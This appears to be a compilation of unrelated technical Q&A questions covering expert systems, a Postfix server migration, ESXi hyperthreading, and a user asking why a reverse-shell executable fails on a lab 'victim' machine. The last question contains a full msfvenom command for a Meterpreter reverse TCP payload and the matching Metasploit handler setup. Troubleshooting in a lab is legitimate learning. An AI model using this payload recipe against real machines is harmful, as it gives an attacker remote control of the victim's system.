Evolving expert systems with machine learning

Expert systems seem to have been left at the wayside a little bit in the 21st century. In fact, expert-systems was not even a tag on this site (until I just created it).

Have there been attempts to integrate modern machine learning with traditional expert systems theory?

Step by step replace postfix mail server with a new machine and keep service working?

I have an amazon postfix mail server on Ubuntu 16.04. I need to replace it with 18.04 for some reasons. I need to use the tutorial below: https://www.exratione.com/2019/02/a-mailserver-on-ubuntu-18-04-postfix-dovecot-mysql/

Is it possible to check if Hyperthreading Sharing is enabled from a Virtual Machine?

In the older versions of ESXi hosts, it was possible to view whether Hyperthreading Sharing is enable from the Virtual Machine as well as from host. In ESXi 6.5.0, I couldn’t find following same steps.

Using : vSphere Web Client

This will help in viewing as well as editing the Hyperthreading in 5.5.

Executable reverse shell payload won’t execute on linux machine

Payload:  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222  LPORT=443 -f elf > hack.elf  
Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp;  

So after i generated the executable payload on the attacking machine, i copied it over to the victim machine with “wget”. When i run the executable on the victim machine, i get this error:

'/hack.elf: line 1: syntax error near unexpected token `vsFTPd' '/hack.elf: line 1: `220 (vsFTPd 2.3.4)  

With nothing appearing on my listener, what am i doing wrong?
